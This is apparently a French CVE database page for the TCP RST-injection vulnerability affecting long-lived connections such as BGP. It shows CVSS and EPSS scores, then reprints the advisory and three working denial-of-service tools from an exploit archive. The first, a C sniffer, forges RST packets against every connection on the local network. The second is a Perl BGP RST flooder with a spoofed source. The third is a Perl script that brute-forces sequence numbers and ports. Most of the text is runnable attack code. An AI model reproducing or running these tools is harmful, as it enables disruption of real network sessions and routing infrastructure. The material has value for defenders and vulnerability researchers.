CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
TCP, when using a large Window Size, makes it easier for remote attackers to guess sequence numbers and cause a denial of service (connection loss) to persistent TCP connections by repeatedly injecting a TCP RST packet, especially in protocols that use long-lived connections, such as BGP.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
17.79%
–
–
2022-04-03
–
–
17.79%
–
–
2023-03-12
–
–
–
0.27%
–
2023-04-09
–
–
–
0.27%
–
2023-09-17
–
–
–
0.27%
–
2024-02-11
–
–
–
0.27%
–
2024-03-24
–
–
–
0.27%
–
2024-06-02
–
–
–
0.27%
–
2024-07-14
–
–
–
0.27%
–
2024-08-04
–
–
–
0.27%
–
2024-08-11
–
–
–
0.27%
–
2024-09-22
–
–
–
0.27%
–
2024-10-20
–
–
–
0.27%
–
2024-10-27
–
–
–
0.27%
–
2024-12-22
–
–
–
1.95%
–
2025-02-02
–
–
–
1.95%
–
2025-01-19
–
–
–
1.95%
–
2025-02-02
–
–
–
1.95%
–
2025-03-18
–
–
–
–
4.1%
2025-03-30
–
–
–
–
8.13%
2025-03-30
–
–
–
–
8.13,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2004-03-04 23h00 +00:00 Auteur : Matt Edman EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
/******************************************************************************************
* autoRST
* Matt Edman - Baylor University
* 5/3/2004
*
* DESCRIPTION:
* Sniffs out TCP connections on a non-switched network and attempts to reset them
* by forging a RST packet in the correct window
*
* REQUIRED LIBRARIES:
* -WinPCAP 3.1beta or higher
* -WinPCAP developer's pack
*
* NOTES:
* Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate
* winpcap header files downloaded and paths setup. Other than that, just start it
* up and let it do its job.
******************************************************************************************/
#include <stdio.h>
// WinPCAP includes
#include <pcap.h>
#include <remote-ext.h>
// 6 byte MAC Address
typedef struct mac_address {
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
u_char byte5;
u_char byte6;
}mac_address;
// 4 bytes IP address
typedef struct ip_address{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}ip_address;
// 20 bytes IP Header
typedef struct ip_header{
u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
u_char tos; // Type of service
u_short tlen; // Total length
u_short identification; // Identification
u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
u_char ttl; // Time to live
u_char proto; // Protocol
u_short crc; // Header checksum
ip_address saddr; // Source address
ip_address daddr; // Destination address
// u_int op_pad; // Option + Padding -- NOT NEEDED!
}ip_header;
// 20 bytes TCP Header
typedef struct tcp_header {
u_short sport; // Source port
u_short dport; // Destination port
u_int seqnum; // Sequence Number
u_int acknum; // Acknowledgement number
u_char hlen; // Header length
u_char flags; // packet flags
u_short win; // Window size
u_short crc; // Header Checksum
u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;
// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win );
u_int iptoUINT( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);
// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lSock; // Local socket structure
int main( int argc, char *argv[] ) {
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
char *localIP;
// Get the list of adapters
if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
return 0;
}
// Print the list of adapters -- from Winpcap sample code
for( d = alldevs; d != NULL; d = d->next ) {
printf("%d. %s", ++i, d->name);
if ( d->description )
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
// Traverse the list to the selected adapter
for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);
// Get the local address
lSock = (struct sockaddr_in *)(d->addresses->addr);
localaddr = lSock->sin_addr.S_un.S_addr;
printf("%d\n", localaddr);
localIP = inet_ntoa(lSock->sin_addr);
printf("Local Addr: %s\n", localIP);
// Open the device for the capture
if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) {
fprintf(stderr,"\nUnable to open adapter: %s \n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
printf("\nListening on %s...\n", d->description);
pcap_freealldevs(alldevs);
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}
// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {
u_int ip_len;
mac_address *srcmac;
mac_address *destmac;
ip_header *iph;
tcp_header *tcph;
destmac = (mac_address *)pkt_data;
srcmac = (mac_address *)(pkt_data + 6);
iph = (ip_header *) (pkt_data + 14);
if( iph->proto == 0x06 ) { // TCP PACKETS
if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT( &iph->daddr ) ) { // Don't reset our own connection
ip_len = (iph->ver_ihl & 0xf) * 4;
tcph = (tcp_header *)(pkt_data + 14 + ip_len);
if( tcph->flags != 0x04 ) // If the RST flag is already set, no need sending another RST packet
send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win );
}
}
}
// Attempts to forge a RST packet and send it back to the source, resetting the TCP connection
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ) {
u_short tcp_hdrcrc[16];
u_short ip_hdrcrc[10];
u_short tcp_tos = htons(0x06);
u_short tcp_hlen = htons(0x14);
u_short ip_tos = htons(0x0800);
ip_header iph;
tcp_header tcph;
u_char pkt[54];
printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),
destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport));
// Setup IP Header
iph.ver_ihl = 0x45;
iph.tos = 0x01;
iph.tlen = htons(40);
iph.identification = htons(0x0800);
iph.flags_fo = 0x0;
iph.ttl = 0xff;
iph.proto = 0x06;
iph.crc = 0x00;
iph.saddr = *destip; // swap the source & dest ips
iph.daddr = *srcip;
// Setup TCP Header
tcph.sport = dport; // swap the source & dest ports
tcph.dport = sport;
tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);
tcph.acknum = tcph.seqnum + htonl(0x1);
tcph.hlen = 0x50;
tcph.flags = 0x04;
tcph.win = win;
tcph.urgptr = 0x00;
tcph.crc = 0x00;
// Calculate the IP Header Checksum
memset(ip_hdrcrc, 0, 20);
memcpy(ip_hdrcrc, &iph, 20);
iph.crc = csum( ip_hdrcrc, 10 );
// Construct the tcp pseudo-header for checksum calculation
memset(tcp_hdrcrc, 0, 32);
memcpy(tcp_hdrcrc, &tcph, 20);
memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
tcph.crc = csum( tcp_hdrcrc, 16 );
// Assemble the packet
memcpy( pkt, (void *)srcmac, 6 );
memcpy( (void *)(pkt + 6), (void *)destmac, 6 );
memcpy( (void *)(pkt + 12), &ip_tos, 2);
memcpy( (void *)(pkt + 14), &iph, 20 );
memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 );
// Send the packet
if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle));
}
// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
unsigned long sum=0;
for( sum=0; nwords > 0; nwords-- )
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (u_short)~sum;
}
// Takes in an ip_address structure and returns the equivalent 4byte UINT value
u_int iptoUINT( ip_address *ip ) {
u_int ipaddr;
ipaddr = ip->byte4 | (ip->byte3 << 8);
ipaddr = ipaddr | (ip->byte2 << 16);
ipaddr = ipaddr | (ip->byte1 << 24);
return htonl(ipaddr);
}
// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
int i;
printf("\tThe Packet\n------------------------------\n");
for( i = 0; i < len; i++ ) {
if(i%4==0)
printf("\n");
printf("0x%x ", pkt[i]);
}
printf("\n");
}
Date de publication : 2004-04-19 22h00 +00:00 Auteur : Paul A. Watson EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
#!/usr/bin/perl
#
# Rich's BGP DOS!
# version .02
# Sends out RST flood to DOS BGP Connections
#
# Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
#
#For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
#Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
#And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('s:p:d:t:x');
$a = new Net::RawIP;
die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);
$count=0;
while ($count < 4294967296) {
#Increment the count
$count=$count + 16384;
#Create IP packet!
$a->set({ ip =>
{saddr => $opt_s,
daddr => $opt_d,
ttl => $opt_t
},
#Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179
tcp=> {dest => 179,
source => $opt_p,
window => 16384,
seq => $count,
rst => 1}
});
#Send it out!
$a->send;
}
Date de publication : 2004-04-19 22h00 +00:00 Auteur : Paul Watson EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24032.tgz
Date de publication : 2004-04-22 22h00 +00:00 Auteur : K-sPecial EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
use Net::RawIP;
## Kreator -> K-sPecial [http://xzziroz.freeshell.org]
## Date -> 4-23-2004
## Name -> Kreset.pl
## Version -> 1.0
##
## Use -> Used to reset a TCP connecting.
## (Using the slipping throught he window meathod described on 4-20-04)
## DESCRIBED HERE: http://www.uniras.gov.uk/vuls/2004/236929/index.htm
##
## Usage -> If you don't fuckin know how to use it, don't use it.
##
## Other -> I played around on nix for a few hours to get the idea down
## pat. I set up an IRCD and connected to it, looked at tcpdump to
## get irssi's local port. irssi's window size was larger so I figured
## i would pretend to be sending RST from server, irssi window
## was around
## 30K while ircd window around 3K, big difference :D. So I enter values
## and since the connection is loop back, i used 0.0 seconds between
## packets.
## it only took a few minutes to disconnect with a 0.0 overlay and
## a 30K window starting at sequence number 0. Only problem over
## the internet, is finding the port of each side, sure you know the
## servers port but not the clients. I got to sequence number 1512500
## using a .10 second delay and a window size of 2500. Sequence
## numbers are
## 32 bit numbers, 32 1's comes out to be 4294967295.
## Do the math, and you know precisely how long it takes to cover
## every sequence RANGE of a given port using a given window size.
## Window sizes should be based on application layer program.
##
## NOTE -> This script assumes you know at least one of the ports,
## if the case is otherwise
## then the script can easily be modified to work around this. Also,
## this was written for
## UNIX variants.
print <<EOF;
-> Kreset.pl by K-sPecial [4-23-2004]
-> Used to reset a connection based on the slipping
-> through the window meathod, exploited publicly on 4-20-2004.
-> [http://xzziroz.freeshell.org]
-> Greets: K-sPecial (myself), saevio, attila, zeedo, uzimonkey
-> eightball, unmanarc, Buuyo^, and whomever else I forgot.
EOF
print "\r\nDo you want a port range for the source IP, or the dest IP?";
print "\r\nIf you want it for the source, type 1, otherwise 2.";
print "\r\nIf you don't want it for either, type one or the other: ";
chomp (my $choice = <STDIN>);
unless ($choice == 1 || $choice == 2) {
print "\r\nEnter 1, or 2.\r\n";
exit(1);
}
print "\r\nEnter source IP: ";
chomp (my $sip = <STDIN>);
if ($choice == 2) {
print "\r\nEnter source port: ";
chomp ($sport = <STDIN>);
if (!($sport)) {
print "\r\nYou must fill in a source port.\r\n";
}
}
print "\r\nEnter dest IP: ";
chomp (my $dip = <STDIN>);
if ($choice == 1) {
print "\r\nEnter dest port: ";
chomp ($dport = <STDIN>);
if (!($dport)) {
print "\r\nYou must fill in a destination port.\r\n";
exit(1);
}
}
print "\r\nEnter begin port: ";
chomp (my $bport = <STDIN>);
print "\r\nEnter end port: ";
chomp (my $eport = <STDIN>);
if (!($sip) || !($dip) || !($bport) || !($eport)) {
print "\r\nYou forgot to fill in one or more fields.\r\n";
exit(1); ## Yea hahah we don't exit (0) anymore. LOL
}
print "\r\nDestinations guessed window size,";
print "\r\nIf you don't define this, we will try small (2500): ";
chomp (my $winsize = <STDIN>); ## Why did the window cross the road?
if (!($winsize)) {
$winsize = 2500;
}
print "\r\nStarting sequence number,";
print "\r\nIf you don't define this, we will start at 0: ";
chomp (my $seqnum = <STDIN>); ## So he could prevent sequence numbers
if (!($seqnum)) { ## from getting through!
$seqnum = 0;
}
print "\r\nNumber of seconds to wait between each packet sent,";
print "\r\nENTER DOTTED DECIMALS HERE PRECEEDED BY A 0 TO";
print "\r\nINDICATE NO MINUTES: 0.10 == 10 ms, 0.0 = 0 ms";
print "\r\nIf you don't define this, we will use 0.10: ";
chomp (my $ms = <STDIN>);
if (!($ms)) {
$ms = "0.10";
}
print <<EOF;
Source IP is -> $sip
Source port is -> $sport
Destination IP is -> $dip
Guessed window size is -> $winsize
Starting sequence number is -> $seqnum
Loop wait is -> $ms
Begin port is -> $bport
End port is -> $eport
EOF
print "Destination port is -> $dport\r\n" if $dport;
print "Source port is -> $sport\r\n" if $sport;
print "\r\n";
my $i = $seqnum;
## LOOKS WHATS FOLLOWS! WES ARES SO LEETS WITHS OURS SELECTS TRICKSES!
## P.S K-sPecial's hopes yours usings a nix variants or this selects
## tricks just mights nots works.
for ($i; 1; $i += $winsize) {
if ($i > 4294967295) {
$bport++;
if ($bport > $eport) {
print "Finished\r\n";
exit(0);
}
else {
print "Looping next port.\r\n";
$i = $seqnum;
sleep(2);
next;
}
}
if ($choice == 2) {
$dport = $bport;
}
else {
$sport = $bport;
}
select(undef, undef, undef, $ms);
print "Sequence Number is -> $i port is -> $bport\r\n";
$a = new Net::RawIP;
$a->set({ip => {saddr => "$sip",daddr => "$dip"},
tcp => {source => $sport,dest => $dport,rst => 1,
syn => 1, seq => $i}}) ;
$a->send;
}